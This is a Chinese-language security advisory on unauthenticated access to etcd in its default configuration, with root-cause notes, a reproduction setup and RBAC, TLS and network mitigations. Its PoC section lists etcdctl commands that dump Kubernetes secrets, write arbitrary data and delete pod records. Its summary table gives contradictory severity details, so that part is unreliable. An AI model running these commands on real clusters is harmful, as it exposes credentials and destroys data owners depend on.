一、漏洞简介

1.1 漏洞背景

etcd 是一个分布式键值存储系统,被广泛用于 Kubernetes 等云原生系统中作为核心数据存储。etcd 的设计理念强调简单性和性能,因此在默认配置下不启用身份认证功能。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 未授权访问(默认配置无认证)
披露时间 暂未找到权威信息
影响组件 etcd 安全
项目 内容
漏洞类型 配置缺陷 / 未授权访问
CVE 编号 无特定 CVE(设计问题)
危害等级 高危
CVSS 评分 9.8 (Critical) - 根据实际暴露程度评估

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • 所有 etcd 版本(在未正确配置认证的情况下)

2.2 不受影响的版本

  • 正确配置了 TLS + RBAC 认证的 etcd 集群

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  • etcd 服务端口(默认 2379)暴露在不可信网络中
  • 未启用 --auth 认证功能
  • 未配置 TLS 客户端证书认证
  • 未通过网络策略限制访问

三、漏洞详情与原理解析

3.1 漏洞触发机制

+-----------------+     HTTP/gRPC      +-----------------+
|   攻击者客户端   | ----------------> |   etcd 服务端    |
+-----------------+   无需任何认证     +-----------------+
                                            |
                                            v
                                    +-----------------+
                                    |  完整数据访问权限 |
                                    +-----------------+

攻击者可以直接访问 etcd API,执行以下操作: - 读取所有键值对(包括敏感配置、Secrets) - 写入/修改/删除数据 - 创建/删除租约 - 获取集群成员信息 - 触发压缩操作

3.2 源码层面的根因分析(结合源码与补丁对比)

etcd 默认启动配置中,认证模块处于禁用状态:

// etcdserver/embed/config.go (简化示意)
type Config struct {
    // 默认情况下 Auth 未启用
    Auth  string `json:"auth"`  // 默认为空
    ...
}

认证检查在 API 层执行:

// auth/store.go (简化示意)
func (as *authStore) AuthEnabled() bool {
    return as.enabled  // 默认为 false
}

func (as *authStore) IsPutPermitted(authInfo *AuthInfo, key []byte) bool {
    if !as.AuthEnabled() {
        return true  // 认证未启用时,允许所有操作
    }
    // ... 执行权限检查
}

四、漏洞复现(可选)

4.1 环境搭建

# 启动一个未启用认证的 etcd 实例
docker run -d --name etcd-vulnerable \
  -p 2379:2379 \
  gcr.io/etcd-development/etcd:v3.5.9 \
  /usr/local/bin/etcd \
  --listen-client-urls http://0.0.0.0:2379 \
  --advertise-client-urls http://0.0.0.0:2379

4.2 PoC 演示与测试过程

# 1. 无需认证直接读取所有键
etcdctl --endpoints=http://target:2379 get / --prefix

# 2. 写入任意数据
etcdctl --endpoints=http://target:2379 put /test/malicious "hacked"

# 3. 获取 Kubernetes Secrets(如果 etcd 存储了 Kubernetes 数据)
etcdctl --endpoints=http://target:2379 get /registry/secrets/ --prefix

# 4. 获取集群成员信息
etcdctl --endpoints=http://target:2379 member list

# 5. 删除关键数据
etcdctl --endpoints=http://target:2379 del /registry/pods/default/ --prefix

五、修复建议与缓解措施

5.1 官方版本升级建议

所有版本都支持认证功能,建议按以下方式配置。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:启用 RBAC 认证

# 1. 启用认证
etcdctl --endpoints=http://localhost:2379 auth enable

# 2. 创建 root 用户
etcdctl --endpoints=http://localhost:2379 user add root

# 3. 创建角色和权限
etcdctl --endpoints=http://localhost:2379 role add readonly
etcdctl --endpoints=http://localhost:2379 role grant-permission readonly read /data/

# 4. 用户绑定角色
etcdctl --endpoints=http://localhost:2379 user grant-role user1 readonly

方案二:配置 TLS 双向认证

etcd --listen-client-urls https://0.0.0.0:2379 \
     --advertise-client-urls https://localhost:2379 \
     --client-cert-auth \
     --trusted-ca-file /path/to/ca.crt \
     --cert-file /path/to/server.crt \
     --key-file /path/to/server.key

方案三:网络层面限制

# iptables 规则限制
iptables -A INPUT -p tcp --dport 2379 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP

# 或使用 Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: etcd-access
spec:
  podSelector:
    matchLabels:
      component: etcd
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          component: kube-apiserver

六、参考信息 / 参考链接

6.1 官方安全通告

6.2 其他技术参考资料